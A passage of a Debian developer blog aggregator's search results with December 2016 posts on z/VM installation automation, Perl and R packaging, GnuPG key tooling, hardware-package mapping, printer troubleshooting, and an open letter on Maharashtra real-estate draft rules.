Search Results: "xam"

29 December 2016

Philipp Kern: Automating the installation of Debian on z/VM instances

I got tired of manually fetching installation images via either FTP or by manually transferring files to z/VM to test s390x installs. Hence it was about time to automate it. Originally I wanted to instrument an installation via vmcp from another instance on the same host but I figured that I cannot really rely on a secondary instance when I need it and went the s3270/x3270-script way instead.

The resulting script isn't something I'm particularly proud of, especially as it misses error handling that really should be there. But this is not expect instead you operate on whole screens of data and z/VM is not particularly helpful in telling you that you just completed your logon either. Anyway, it seems to work for me. It downloads the most recent stable or daily image if they are not present yet, uploads them via DFT to CMS and makes sure that the installation does not terminate when the script disconnects. Sadly DFT is pretty slow, so I'm stuck with 70 kB/s and about five minutes of waiting until kernel and initrd are finally uploaded. Given that installations themselves are usually blazingly fast on System z, I'm not too annoyed by that, though.

I previously wrote about a parmfile example that sets enough options to bring debian-installer to the point of a working network console via SSH without further prompting. It's a little unfortunate that s390-netdevice needs to be preseeded with the hardware addresses of the network card in all cases, even if only one is available. I should go and fix that. For now this means that the parmfile will be dependent on the actual VM system definition. With that in mind there is an example script in the same gist that writes out a parmfile and then calls the reinstall script mentioned above. Given that debian-installer now supports HTTPS (so far only in the daily images) you can even do a reasonably secure bootstrapping of the network console credentials and preseeding settings.

If you put this pretty generic preseed configuration file onto a securely accessible webserver and reference it from the parmfile, you can also skip the more tedious questions at the beginning of debian-installer. A secure transport is encouraged as preseed files can do anything to your installation process. Unfortunately it seems that there is no way to preseed SSH keys for the resulting installation yet, neither for the created user nor for root. So I haven't achieved my desired target of a fully automated installation just yet. Debian's Jenkins setup just went with insecure defaults, but given that my sponsored VMs are necessarily connected to the public Internet that seemed like a bad idea to me. I suppose one way out would be to IP/password ACL the preseed file. Another one to somehow get SSH key support into user-setup.

27 December 2016

Dominique Dumont: New dzil command to install author dependencies as Debian packages

Hello Dist::Zilla is a great tool to limit tedious tasks while working on Perl modules. For instance, dzil provides tools like dzil authordeps or dzil listdeps to list dependencies.
This list of Perl modules can then be installed with cpanm: 
dzil authordeps --missing   cpanm
dzil listdeps --missing   cpanm
On a Debian system, one may prefer to install Perl modules using Debian packages. Installing build dependencies can be done with apt build-dep, but apt does not handle Dist::Zilla author dependencies. The new authordebs Dist::Zilla sub-command was wriiten to fill this gap. When run in a directory containing the source of a Perl module that uses Dist::Zilla, you can run dzil installdebs to list the Debian packages required to run the dzil command. You can also run dzil installdebs -install to install author dependencies (using sudo under the hood). See: On Debian, authordebs is provided by libdist-zilla-app-command-authordebs-perl All the best
Tagged: debian, dist-zilla, Perl

25 December 2016

Enrico Zini: "Intervallo RAI" generator

During holiday idling, I made a thing to generate picture slideshows similar to RAI's iconic "Intervallo" You can get it at https://github.com/spanezz/intervallo Usage: 
$ intervallo --help
usage: intervallo [-h] [--font file.ttf] [--audio file.mp3] [--duration sec]
                  imgfile [imgfile ...]
Create an Intervallo RAI out of a collection of images.
positional arguments:
  imgfile           input image files
optional arguments:
  -h, --help        show this help message and exit
  --font file.ttf   Font to use for subtitles
  --audio file.mp3  Audio track
  --duration sec    Time for each image in seconds
For example: 
./intervallo --font DejaVuSerif.ttf --audio Paradisi-Toccata.mp3 *.jpg
The images are captioned with their file name, without extension. You may want to rename the image files to have nice descriptive names. For some audio to use, you can try https://archive.org/details/IntervalloRai-Paradisi Example https://www.youtube.com/watch?v=ZCERwjTB4ck

24 December 2016

Dirk Eddelbuettel: anytime 0.2.0: Feature, fixes and tests!

A brand new anytime package just arrived at CRAN. This is release number eight, evenly spread with over two per month, since the initial release in September. Needless to say I have been told off not to make this many releases. As they say, no good deed goes unpunished. anytime is a very focused package aiming to do just one thing really well: to convert anything in integer, numeric, character, factor, ordered, ... format to either POSIXct or Date objects -- and to do so without requiring a format string. See the anytime page, or the GitHub README.md for a few examples. This releases does a few things: The following is a quick illustration 
R> library(anytime)
R> p <- anytime("2010-01-02 03:04:05.123456")
R> p
[1] "2010-01-02 03:04:05.123456 CST"
R> iso8601(p)
[1] "2010-01-02 03:04:05"
R> rfc2822(p)
[1] "Sat, 02 Jan 2010 03:04:05.123456 -0600"
R> rfc3339(p)
[1] "2010-01-02T03:04:05.123456-0600"
R>
For symmetry, it also works for dates, but is less detailed 
R> jl <- anydate("July 04, 1789")
R> jl
[1] "1789-07-04"
R> iso8601(jl)
[1] "1789-07-04"
R> rfc2822(jl)
[1] "Sat, 04 Jul 1789"
R> rfc3339(jl)
[1] "1789-07-04"
R>
Of course, all commands are also fully vectorised. See the anytime page, or the GitHub README.md for more examples.

Changes in anytime version 0.2.0 (2016-12-24)
  • Added (exported) helper functions iso8601(), rfc2822() and rfc3339() to format date(time) objects according to standards
  • Conversion to dates is now more robust thanks to improved internal processing (PR #39 closing #36)
  • The ISO 8601 format is now recognised, however the timezone information is not parsed by Boost Date_Time (which is a known upstream limitation) (PR #38 closing #37)
  • The 'allFormats.R' test script was significantly strengthened (#40)
  • Test scripts like 'simpleTests.R' have as also been strengthened (#41); on Windows and in one file two tests need to be skipped.
  • A new 'bulkTest.R' test script was added testing parsing against what R returns

Courtesy of CRANberries, there is a comparison to the previous release. More information is on the anytime page. For questions or comments use the issue tracker off the GitHub repo.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. Please report excessive re-aggregation in third-party for-profit settings.

22 December 2016

Shirish Agarwal: My letter to Government of Maharashtra on Real Estate Rules and Regulation Draft rules

While I try to minimize Politics and Economics as much as I can on this blog, it sometimes surfaces. It is possible that some people may benefit or at least be aware. A bit of background is necessary before I jump into the intricacies of the Maharashtra Real Estate Rules and Regulation Draft Rules 2016 (RERA) . Since ever, but more prominently since 2007/8 potential homeowners from across the country have been suffering at the hands of the builder/promoter for number of years. While it would be wrong to paint all the Real Estate Developers and Builders as cheats (we as in all tenants and homeowners hope there are good ones out there) many Real Estate Builders and promoters have cheated homeowners of their hard-earned money. This has also lessened the secondary (resale) market and tenants like me have to fight over morsels as supply is tight. There were two broad ways in which the cheating is/was done a. Take deposits and run away i.e. fly by night operators Here the only option for a homeowner is to file an FIR (First Information Report) and hope the culprits are caught. 99% of the time the builder/promoter goes somewhere abroad and the potential home buyers/home-owners are left holding the can. This is usually done by small real estate promoters and builders. b. The big boys would take all or most money of the project, may register or not register the flat in your name, either build a quarter or half-finished building and then make excuses. There are some who do not even build. The money given is used by the builder/developer either for his own needs or using that money in some high-profile project which is expensive and may have huge returns. They know that home-owners can t do anything, at the most go to the court which will take more than a decade or two during which time the developer would have interest-free income and do whatever he wants to do. One of the bigger stories which came up this year was when the Indian Cricket Captain, M.S. Dhoni (cricket is a religion in India, and the cricketers gods for millions of Indians) had to end his brand engagement and ambassadorship from Amrapali Housing Group. Apparently, his wife Sakshi was on the Board of directors at Amrapali Housing and had to resign The Government knew of such issues and had been working since last few years. Under the present Government, a Model Agreement and a Model Real Estate Rules and Regulation Bill was passed on 31st March and came into force on 1st May 2016. India, similar to the U.S. and U.K. follows a federal structure. While I have shared this before, most of the laws in India fall in either of three lists, Central List, Concurrent Lists and State Lists. Housing for instance, is a state subject so any laws concerning housing has to be made by the state legislature. Having a statutory requirement to put the bill in 6 months from 1st of May, the Government of Maharashtra chose to put the draft rules in public domain on 12th December 2016, about 10 days ago and there were efforts to let it remain low-key so people do not object as we are still in the throes of demonetisation. By law they should have given 30 days for people to raise objections and give suggestions. The State Government too could have easily asked an extension and as both the State and the Centre are of the same Political Party they would have easily got it. With that, below is the e-mail I sent to suggesstionsonrera@maharashtra.gov.in Sub Some suggestions for RERA biggest suggestion, need to give more time study the implications for house-owners. Respected Sir/Madame, I will be publishing the below mail as a public letter on my blog as well. I am writing as a citizen, a voter, a potential home owner, currently a tenant . If houses supply is not in time, it is us, the tenants who have the most to lose as we have to fight over whatever is in the market. I do also hope to be a home buyer at some point in time so these rules would affect me also somewhere in the hazy future. I came to know through the media that Maharashtra Govt. recently introduced draft rules for RERA Real Estate (Regulation and Development) Act, 2016 . I hope to impress upon you that these proposed Rules and Regulations need to be thoroughly revised and new draft rules shared with the public at large with proper announcement in all newspapers and proper time ( more than a month ) to study and give replies on the said matter. My suggestions and complaints are as under a. The first complaint and suggestion is that the date between the draft regulations and suggestions being invited by members of public is and was too little 12 December 2016 23 December 2016 (only 11 days) for almost 90 pages of Government rules and regulations which needs multiple rounds of re-reading to understand the implications of the draft rules . Add to that unlike the Central Building Legislation, Model Agreement which was prepared by Centre and also given wide publicity, the Maharashtra Govt. didn t do any such publicity to bring it to the
notice of the people. b. I ask where was the hurry to publish these draft rules now when everybody is suffering through the result of cash-crunch on top of other things. If the said draft rules were put up in January 2017, I am sure more people would have responded to the draft rules. Ir raises suspicion in the mind of everybody the timing of sharing the draft rules and the limited time given to people to respond. E.g. When TRAI (Telephone Regulatory Authority of India) asked for suggestion it gives more than a month, and something like housing which is an existential question for everybody, i.e. the poor, the middle and the rich, you have given pretty less time. While I could change my telephone service providers at a moment s notice without huge loss, the same cannot be said either for a house owner (in case of builder) or a tenant as well. This is just not done. c. The documents are at https://housing.maharashtra.gov.in/sitemap/housing/Rera_rules.htm under different sub-headings while the correct structure of the documents can be found at nared s site
http://naredco.in/notifications.asp . At the very least, the documents should have been in proper order. Coming to some of the salient points raised both in the media and elsewhere 1. On page 6 of Part IV-A Ext1.pdf you have written Explanation.-The registration of a real estate project shall not be required,- (i) for the purpose of any renovations or repair or redevelopment which does not involve marketing, advertisement, selling or new allotment of any apartment , plot or building as the case may be under
the real estate project; RERA draft rules What it means is that the house owner and by the same stroke the tenant would have absolutely no voice to oppose any changes made to the structure at any point of time after the building is built. This means the builder is free to build 12-14-16 even 20 stories building when the original plans were for 6-8-10. This rule gives the builder to do free for all till the building doesn t get converted into a society, a process which does and can take years to happen. 2. A builder has to take innumerable permissions from different authorities at each and every stage till possession of a said property isn t handed over to a home buyer and by its extension to the tenant. Now any one of these authorities could sit on the papers and there is no accountability of by when papers would be passed under a competent authority s desk. There was a wide belief that there would be some
rules and regulations framed in this regard but the draft rules are silent on the subject matter. 3. In Draft rule 5. page 8 of Part IV-A Ext1.pdf you write Withdrawal of amounts deposited in separate account.-(1) With regard to the withdrawal of amounts deposited under sub-clause (D) of clause (l) of sub-section (2) of section 4, the following provisions shall apply:- (i) For new projects which will be registered after commencement. Deposit in the escrow account is from now onwards. So what happens to the projects which are ongoing at the moment, either at the registration stage or at building stage, thousands of potential house owners would be left to fend for themselves. There needs to be some recourse for them as well. 3b. Another suggestion is that the house-owners are duly informed when promoters/builders are taking money from the bank and should have the authority to see that proper documents and procedure was followed. It is possible that unscrupulous elements may either bypass it or give some different documents which are not in knowledge of the house-owner, thus defeating the purpose of the escrow account itself. 4. On page 44 of Pt.IV-A Ext.161 in the Model Agreement to be entered
between the Promoter and the Alottee you have mentioned (i)The Allottee hereby agrees to purchase from the Promoter and the Promoter hereby agrees to sell to the Allottee one Apartment No. .. of the type .. of carpet area admeasuring .. sq. metres on floor in the building __________along with (hereinafter referred to as the Apartment ) as shown in the Floor plan thereof hereto annexed and marked Annexures C
for the consideration of Rs. . including Rs. . being the proportionate price of the common areas and facilities appurtenant to the premises, the nature, extent and description of the common/limited common areas and facilities which are more particularly described in the Second Schedule annexed herewith. (the price of the Apartment including the proportionate price of the limited common areas and facilities and parking spaces should be shown separately). (ii) The Allottee hereby agrees to purchase from the Promoter and the Promoter hereby agrees to sell to the Allottee garage bearing Nos ____ situated at _______ Basement and/or stilt and /or ____podium being
constructed in the layout for the consideration of Rs. ____________/- (iii) The Allottee hereby agrees to purchase from the Promoter and the Promoter hereby agrees to sell to the Allottee Car parking spaces bearing Nos ____ situated at _______ Basement and/or stilt and /or ____podium and/or open parking space, being constructed in the layout for the
consideration of Rs. ____________/-. The total aggregate consideration amount for the apartment including garages/car parking spaces is
thus Rs.______/- Draft rules. What has been done here is the parking space has been divorced from sale of the flat . It is against natural justice, logic, common sense as well-known precedents in jurisprudence (i.e. law) In September 2010, the bench of Justices R M Lodha and A K Patnaik had ruled in a judgement stating developers cannot sell parking spaces as independent real-estate units. The court ruled that parking areas are common areas and facilities . This was on behalf of a precedent in Mumbai High Court as well. http://www.reinventingparking.org/2010/09/important-parking-ruling-by-indias.html This has been reiterated again and again in courts as well as consumer
forums http://timesofindia.indiatimes.com/city/mumbai/Cant-charge-flat-buyer-extra-for-parking-slot/articleshow/22475233.cms and has been the norm in several Apartment Acts over multiple states http://apartmentadda.com/blog/2015/02/19/rules-pertaining-to-parking-spaces-in-apartment-complexes/ 5. In case of dispute, the case will high court which is inundated by huge number of pending cases. As recently as August 2016 there was a news item in Indian Express which talks about the spike in pending cases. Putting a case in the high court will weigh heavily on the homeowner, financially and
mentally http://indianexpress.com/article/cities/mumbai/more-cases-and-increased-staff-strength-putting-pressure-on-bombay-high-court-building-2964796/ It may be better to use the services of National Consumer Disputes Redressal Commission'(NCDRC) where there is possibility of quicker justice and quick resolution. There is possibility of group actions taking place which will reduce duplicity of work on behalf of the petitioners. 6. There is neither any clarity, incentive or punitive action against the promoter/builder if s/he delay conveyance to the society in order to get any future developmental and FSI rights. To delay handing over conveyance, the builders delay completion of the last building in a said project. there should be both a compensatory and punitive actions taken against the builder if he is unable to prove any genuine cause for the same. 7. There needs to be the provision with regard to need for developers to make public disclosures pertaining to building approvals. This while I had shared above needs to be explicitly mentioned so house-owners know the promoter/builder are on the right path. 8. There needs to be a provision that prohibits refusal to sell property to any person on the basis of his/her religion, marital status or dietary preferences. 9. There is lot of ambiguity if criminal proceedings can be initiated against a promoter/developer if s/he fails to deliver the flat on time. The developer should be criminally liable if he doesn t give the flat with all the amenities, fixtures and anything which was on agreement signed by both parties and for which the payment has been given in
full at time of possession of a flat. 10. Penalties for the promoter/builder is capped at 10% in case of any wrong-doing. Apart from proving the charge, the onus of which would lie on the house-owner, capping it at 10% is similar to A teacher telling a naughty student, do whatever you want to do, I am only going to hit you 5 times. Such a drafting encourages the Promoter/builder to play mischief. The builder knows his exposure is pretty limited. Liability is limited so he will try to get with whatever he can. Having a high penalty clause will deter him. 11. There was talk and shown in the Center s model agreement the precedent of providing names, addresses and contact details of other allot-tees or home-owners of a building that would have multiple dwelling units . This is nowhere either in the agreement or mentioned anywhere else in the four documents. 12. An addition to the above would be that the details provided should be correct and updated as per the records maintained by the Promoter/builder. 13. Today, there is no way for a potential house-owner to know if the builder had broken any norms or has any cases in court pending against him. There should be a way for the potential house-owner to find out. 14. A builder can terminate a flat purchase agreement by giving just a week s notice on email to the buyer who defaults on an instalment. But the developer can refund the money without interest to the
purchaser at leisure, within six months.Under MOFA (the earlier rules), the developer could cancel the agreement after giving a 15 days notice, and the builder could resell the flat only after refunding money to the original buyer. Under the new draft rules, a builder can immediately sell the flat after terminating the agreement. 15. The new draft rules say a buyer must pay 30% of the total cost while signing the agreement and 45% when the plinth of the building is constructed. The earlier state law stipulated 20% payment when the
agreement is signed with the developer. 16. The Central model agreement and rules proposed a fee of INR Rs 1,000 for filing complaints before housing authority; the state draft has proposed to hike this fee to Rs INR Rs. 10,000/- 17. Reading the Central Model Agreement, key disclosures under Section 4 (2)and Rule 3 (2) of the Central Model Rules have been excluded to be put up on the website of the Authority. These included carpet area of flat, encumbrance certificate (this would have disclosed encumbrances in respect of the land where the real estate project is proposed to be undertaken), copy of the legal title report and sanctioned plan of the building. Due to this house-owner would always be in dark and assume that everything is alright. There have been multiple instances of this over years Some examples http://www.deccanchronicle.com/140920/nation-current-affairs/article/builder-encroaches-%E2%80%98raja-kaluve%E2%80%99 http://indianexpress.com/article/cities/ahmedabad/surat-builder-grabs-tribal-land-using-fake-documents/ http://www.thehindu.com/news/cities/bangalore/bmtf-books-exmayor-wife-for-grabbing-ca-site/article7397062.ece http://timesofindia.indiatimes.com/city/thane/24-acre-ambernath-plot-usurped-with-fake-docus/articleshow/55654139.cms 18. The Central rule requires a builder to submit an annual report including profit and loss account, balance sheet, cash flow statement, directors report and auditors report for the preceding three financial years, among other things. However, the Maharashtra draft rules are silent on such a requirement. While the above is what I could perceive in the limited amount I came to know. This should be enough to convince that more needs to be done from the house-owner s side. Update Just saw Quint s Op-Ed goes in more detail.
Filed under: Miscellenous Tagged: #Draft Rules for Real Estate Rules and Regulation (2016), #hurry, #Name, #Response, Amrapali Group, Contact details of other hom-owners in a scheme., M.S. Dhoni

20 December 2016

Petter Reinholdtsen: Isenkram updated with a lot more hardware-package mappings

The Isenkram system I wrote two years ago to make it easier in Debian to find and install packages to get your hardware dongles to work, is still going strong. It is a system to look up the hardware present on or connected to the current system, and map the hardware to Debian packages. It can either be done using the tools in isenkram-cli or using the user space daemon in the isenkram package. The latter will notify you, when inserting new hardware, about what packages to install to get the dongle working. It will even provide a button to click on to ask packagekit to install the packages. Here is an command line example from my Thinkpad laptop: 
% isenkram-lookup  
bluez
cheese
ethtool
fprintd
fprintd-demo
gkrellm-thinkbat
hdapsd
libpam-fprintd
pidgin-blinklight
thinkfan
tlp
tp-smapi-dkms
tp-smapi-source
tpb
%
It can also list the firware package providing firmware requested by the load kernel modules, which in my case is an empty list because I have all the firmware my machine need: 
% /usr/sbin/isenkram-autoinstall-firmware -l
info: did not find any firmware files requested by loaded kernel modules.  exiting
%
The last few days I had a look at several of the around 250 packages in Debian with udev rules. These seem like good candidates to install when a given hardware dongle is inserted, and I found several that should be proposed by isenkram. I have not had time to check all of them, but am happy to report that now there are 97 packages packages mapped to hardware by Isenkram. 11 of these packages provide hardware mapping using AppStream, while the rest are listed in the modaliases file provided in isenkram. These are the packages with hardware mappings at the moment. The marked packages are also announcing their hardware support using AppStream, for everyone to use: air-quality-sensor, alsa-firmware-loaders, argyll, array-info, avarice, avrdude, b43-fwcutter, bit-babbler, bluez, bluez-firmware, brltty, broadcom-sta-dkms, calibre, cgminer, cheese, colord, colorhug-client, dahdi-firmware-nonfree, dahdi-linux, dfu-util, dolphin-emu, ekeyd, ethtool, firmware-ipw2x00, fprintd, fprintd-demo, galileo, gkrellm-thinkbat, gphoto2, gpsbabel, gpsbabel-gui, gpsman, gpstrans, gqrx-sdr, gr-fcdproplus, gr-osmosdr, gtkpod, hackrf, hdapsd, hdmi2usb-udev, hpijs-ppds, hplip, ipw3945-source, ipw3945d, kde-config-tablet, kinect-audio-setup, libnxt, libpam-fprintd, lomoco, madwimax, minidisc-utils, mkgmap, msi-keyboard, mtkbabel, nbc, nqc, nut-hal-drivers, ola, open-vm-toolbox, open-vm-tools, openambit, pcgminer, pcmciautils, pcscd, pidgin-blinklight, printer-driver-splix, pymissile, python-nxt, qlandkartegt, qlandkartegt-garmin, rosegarden, rt2x00-source, sispmctl, soapysdr-module-hackrf, solaar, squeak-plugins-scratch, sunxi-tools, t2n, thinkfan, thinkfinger-tools, tlp, tp-smapi-dkms, tp-smapi-source, tpb, tucnak, uhd-host, usbmuxd, viking, virtualbox-ose-guest-x11, w1retap, xawtv, xserver-xorg-input-vmmouse, xserver-xorg-input-wacom, xserver-xorg-video-qxl, xserver-xorg-video-vmware, yubikey-personalization and zd1211-firmware If you know of other packages, please let me know with a wishlist bug report against the isenkram-cli package, and ask the package maintainer to add AppStream metadata according to the guidelines to provide the information for everyone. In time, I hope to get rid of the isenkram specific hardware mapping and depend exclusively on AppStream. Note, the AppStream metadata for broadcom-sta-dkms is matching too much hardware, and suggest that the package with with any ethernet card. See bug #838735 for the details. I hope the maintainer find time to address it soon. In the mean time I provide an override in isenkram.

Elizabeth Ferdman: 2 Week Progress Update for PGP Clean Room

I m interning for the PGP Clean Room Project, which aims to code best practices for using GnuPG into the workflow in order to make it easier for users to create and manage their keys. The live disc already contains code for partitioning and mounting the sd cards, and setting up a sample gpg.conf. For my first task, I decided to start building a basic TUI to gather the user s info and preferences for the primary and secondary encryption keys, as well as for additional subkeys and uids, and then create the keys based on the user s input. See the code on github. For the TUI, I decided on whiptail, a command line program that creates user-friendly dialogs. You can see what the whiptail script looks like so far here and run it to see what the TUI looks like. I also explored different ways to run the gpg2 commands non-interactively. One option is Unattended Key Generation using the batch option, however that doesn t allow for multiple subkeys or setting a different expiration date for the subkey than for the primary key. gpg2 --gen-key --batch gen-key-script or gpg2 --expert --full-gen-key --batch gen-key-script The command-fd and command-file options also allow you to bypass the interactive prompt: echo "uid 1\nprimary\nsave\n" gpg2 --command-fd 0 --status-fd 2 --edit-key 'Joe Tester' Newer versions of gpg2 simplify the creation of primary/subkeys and editing of keys with one liners such as: gpg2 --quick-gen-key 'User Name <user@example.com>' rsa4096 sign 3y gpg2 --quick-addkey <fingerprint> rsa2048 encrypt 1y gpg2 --quick-adduid <fingerprint> <primary-uid> <new-uid> Aside from making life easier for command line users, gpg 2.1.x also supports ECC keys and creates a revocation certificates by default.

18 December 2016

Iustin Pop: Printer fun

Had some printer fun this week. It was fun in the sense that failure modes are interesting, not that there was much joy in the process. My current document printer is an HP that I bought back in early 2008; soon 9 years old, that is. When I got the printer I was quite happy: it supports Postscript, it supports memory extension (which allowed me to go from the built-in 64MB to a whopping 320MB), it is networked and has automatic duplex. Not good for much more than document printing, but that it did well. I didn't print a lot on it (averaged it was well below the recommended monthly limit), which might explain the total trouble-free operation, but I did change the toner cartridges a couple of times. The current cartridges were running low for a while, but I didn't need to change them yet. As I printed a user manual at the beginning of the week (~300+ pages in total), I ran out of the black half-way through. Bought a new cartridge, installed it, and the first strange thing was that it still showed Black empty - please replace . I powered the printer off and turned it on again (the miracle cure for all IT-related things), and things seemed OK, so I restarted printing. However, this time, the printer was going through 20-30 pages, and then was getting stuck in "Printing document" with green led blinking. Waited for 20 minutes, nothing. So cancel the job (from the printer), restart printing, all fine. The next day I wanted to print a single page, and didn't manage to. Checked that the PDF is normal, checked an older PDF which I printed successfully before, nothing worked. Changed drivers, unseated & re-seated the extra memory, changed operating systems, nothing. Not even the built-in printer diagnostic pages were printing. The internet was all over with "HP formatter issues"; apparently some HP printers had "green" (i.e. low-quality) soldering, and were failing after a while. But people were complaining about 1-2-4 years, not 9 that my printer worked, and it was very suspicious that all troubles started after my cartridge replacement. Or, more likely, due to the recent sudden increase in printing. Given that formatter board fixes (bake in the oven for N minutes at a specific temperature to reflow the soldering) are temporary and that you can't find replacement parts for this printer, I started looking for a new printer. To my surprise (and dismay at the waste that capitalism produces), a new printer from a higher class was cheaper than replacing all 4 cartridges in my printer. So I had a 90% full black cartridge that I couldn't reuse, but I'd get a new printer for not much more. Interestingly, in 9 years, the development was: I was however happy that one can still get OS-independent (Postscript), networked printers that are small enough for home use and don't (necessarily) come with WiFi. However, one thing still bothered me: did I have such problems because the printer died of overwork at old age, or was it related to the cartridge change? So I start searching again, and I find a post on a forum (oh Google, why did you remove "forum search" and replaced it with "language level"?) that details a hidden procedure to format the internal storage of the printer, exactly for my printer model, exactly for my symptoms. Huh, I will lose page count, but this is worth a try So I do press the required keys, I see the printer booting and saying "erasing ", then asking for language, which makes me happy because it seems the forum post was correct in one regard. I confirm English, the printer reboots once more, and then when it comes up it warns me: "Yellow cartridge is a non-HP original, please confirm". I get confused, and re-seat all cartridges, to no avail. Yellow is non-HP. Sigh, maybe that cartridge had something that confused the printer? When I visit its web page however, all cartridges except the newly installed black one are marked as Non-HP; this only means that I can't see their remaining toner level, but otherwise the printer is restored back to life. I take the opportunity to also perform a firmware upgrade (only five years newer firmware, but still quite old), but this doesn't solve the Non-HP message. The printer works now, and I'm left wondering: was this all a DRM-related failure, something like new cartridge chip which had some new code that confused the printer so bad it needed reformatting, at which point the old cartridge code is no longer supported (for whatever reason)? Was it just a fluke, unrelated to DRM? Was the problem that I powered off the printer soon after replacing the cartridge, while it was still doing something (e.g. preparing to do a calibration after the change)? And another, more practical question: I have 3 cartridges to replace still; they were at 10% before this entire saga, and I'm not able to see their level anymore, but they'll get down to empty soon. The black cartridge in the printer is already at 77%, which is surprising as I didn't print that much. So should I replace the cartridges on what is a possibly fully functional, but also possibly a dying printer? Or buy a new one for slightly more, throwing out possibly good hardware? Even though I understand the business reason behind it, I hate the whole concept of "the printer is free, you pay for the ink". Though in my case "free" didn't mean bad, as a lifetime of 9 years is good enough for a printer.

Daniel Stender: How to cheat setuptools-scm (Debian diary)

[2016-12-19: some additions] This is another little issue from Python packaging for Debian which I came across lately packaging the compressed NumPy based data container Bcolz. Upstream uses setuptools-scm to determine the software s version during build time from the source code management environment the code is in. This method is convenient for the upstream development because with that the version number doesn t need to be hard-coded, and often people just forget to update that (and other version carrying files like doc/conf.py) when a new version of a project is released. python-setuptools just needs to be added to the setup.py to do its job, and in Bcolz the code goes like this: 
setup(
    name="bcolz",
    use_scm_version= 
        'version_scheme': 'guess-next-dev',
        'local_scheme': 'dirty-tag',
        'write_to': 'bcolz/version.py'
The file the version number is written to is bcolz/version.py. This file isn t in the upstream code revision nor in the tarball which was released by the upstream developers, it s always generated during build time. In Debian there is an error if you try to build a package from a source tree which contains files which aren t to be found in the corresponding tarball, like cruft from a previous build, or if any files have changed therefore every new package should be test build also twice in a row in a non-chroot environment. Generally there a two ways to solve this, either you add cruft to debian/clean, or you add the file resp. a matching file pattern to extend-diff-ignore in debian/source/options. Which method is the better one could be discussed, I m generally using the clean option if something isn t in the upstream tarball, and the source/options solution if something is already in the upstream tarball, but gets changed during a build. This is related to your preferred Git procedures, if you remove a file which is in the upstream tarball these removals have to be checked in separately, and that means everytime a new upstream tarball is released that is not very convenient. Another option which is available is to strip certain files from the upstream tarball by putting them on the Files-Excluded in deb/copyright. By the way, the same complex applies to egg-info/: that folder is shipped or is not shipped in the upstream tarball, and files in that folder get changed during build. When the source code is put into a Git environment for Debian packaging, there could be problems with the version number setuptools-scm comes up with. This setuptools extension gets the recent version from the latest Git tag when there is a version number to be found, and that s all right. In Git environments for Debian packaging (like e.g. of the Debian Science group, the Python groups and the others) that is available, like the commonly used upstream tags have that1. The problem is, sometimes the upstream version which Debian has2 doesn t match the original upstream version number which is wanted for version in bcolz/version.py. For example, the suffix +ds is used if the upstream tarball has been stripped from prebuild files or embedded convenience shipments (like it s the case with the Bcolz package where c-blosc/ has been stripped because that s build for another package), of the suffix +dfsg shows that non-DFSG free software has been removed (which can t be distributed through the main archive section). For example, the version string for Bcolz which is found after the build currently (1.1.0+ds1-1) is 1.1.0+ds1: 
# coding: utf-8
# file generated by setuptools_scm
# don't change, don't track in version control
version = '1.1.0+ds1'
But that s not wanted because this version never has been released, but appears everywhere: 
$ pip list   grep bcolz
bcolz (1.1.0+ds1)
$ python3 -c 'import bcolz; bcolz.print_versions()'
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
bcolz version:     1.1.0+ds1
There are several different ways how to fix this. The one with the crowbar (like said in German) is to patch use_scm_version out from setup.py, but if you don t provide any version in exchange the version number which is used by Setuptools then is 0.0.0. The upstream version could be hard-coded into the patch, but then again it has not to be forgotten to update it manually by the maintainer, which is not very convenient. Plus, setup.py could change and the patch then might need to be unfuzzed, thus more work. Bad. A patch could be spared by manipulating and exporting the SETUPTOOLS_SCM_PRETEND_VERSION environment variable for setuptools-scm in debian/rules, which is sometimes used when I see the returns for that string on Debian Code Search. But how to prevent to hard code the version number, here? The dpkg-dev package (pulled by build-essential) ships a Makefile snippet /usr/share/dpkg/pkg-info.mk which could be included into debian/rules. It defines several variables which are useful for packaging, like DEB_SOURCE contains the source package name, they are extracted from debian/changelog. But, DEB_VERSION_UPSTREAM which is available through that puts out the upstream version without epoch and Debian revision, but it s not getting any finer grained out of the box. For a custom fix, a regular expression which removes the +... extensions (if present) from the bare upstream version string would be s/\+[^+]*//: 
$ echo "1.1.0+ds1"   sed -e 's/\+[^+]*//'
1.1.0
$ echo "1.1.0"   sed -e 's/\+[^+]*//'
1.1.0
$ echo "1.1.0+dfsg12"   sed -e 's/\+[^+]*//'
1.1.0
With that, a custom variable VERSION_UPSTREAM could be set on the top of DEB_VERSION_UPSTREAM (from pkg-info.mk) in debian/rules: 
include /usr/share/dpkg/pkg-info.mk
VERSION_UPSTREAM = $(shell echo '$(DEB_VERSION_UPSTREAM)'   sed -e 's/\+[^+]*//')
export SETUPTOOLS_SCM_PRETEND_VERSION = $(VERSION_UPSTREAM)
Bam, that works (see the commit here): 
# coding: utf-8
# file generated by setuptools_scm
# don't change, don't track in version control
version = '1.1.0'
An addition, I ve seen that dh-python also takes care of SETUPTOOLS_SCM_PRETEND_VERSION since 2.20160609. The environment variable is set by the Debhelper build system if python 3, -setuptools-scm is among the build-dependencies in debian/control. The Perl code for that is in dh/pybuild.pm. I think the version number string above comes from dh-python s pretended version, and not from any of the Git tags (which are currently debian/1.1.0+ds1-1 and upstream/1.1.0+ds1).
  1. For Git in Debian packaging, e.g. see the DEP-14 proposal (Recommended layout for Git packaging repositories): http://dep.debian.net/deps/dep14/ [return]
  2. Following the scheme for package versions [epoch:]upstream_version[-debian-revision] [return]

16 December 2016

Dirk Eddelbuettel: nanotime 0.0.1: New package for Nanosecond Resolution Time for R

R has excellent tools for dates and times. The Date and POSIXct classes (as well as the 'wide' representation in POSIXlt) are versatile, and a lot of useful tooling has been built around them. However, POSIXct is implemented as a double with fractional seconds since the epoch. Given the 53 bits accuracy, it leaves just a bit less than microsecond resolution. Which is good enough for most things. But more and more performance measurements, latency statistics, ... are now measured more finely, and we need nanosecond resolution. For which commonly an integer64 is used to represent nanoseconds since the epoch. And while R does not a native type for this, the bit64 package by Jens Oehlschl gel offers a performant one implemented as a lightweight S3 class. So this package uses this integer64 class, along with two helper functions for parsing and formatting, respectively, at nano-second resolution from the RcppCCTZ package which wraps the CCTZ library from Google. CCTZ is a modern C++11 library extending the (C++11-native) chrono type.

Examples

Simple Parsing and Arithmetic 
R> x <- nanotime("1970-01-01T00:00:00.000000001+00:00")
R> print(x)
integer64
[1] 1
R> format(x)
[1] "1970-01-01T00:00:00.000000001+00:00"
R> cat("x+1 is: ")
x+1 is: R> x <- x + 1
R> print(x)
integer64
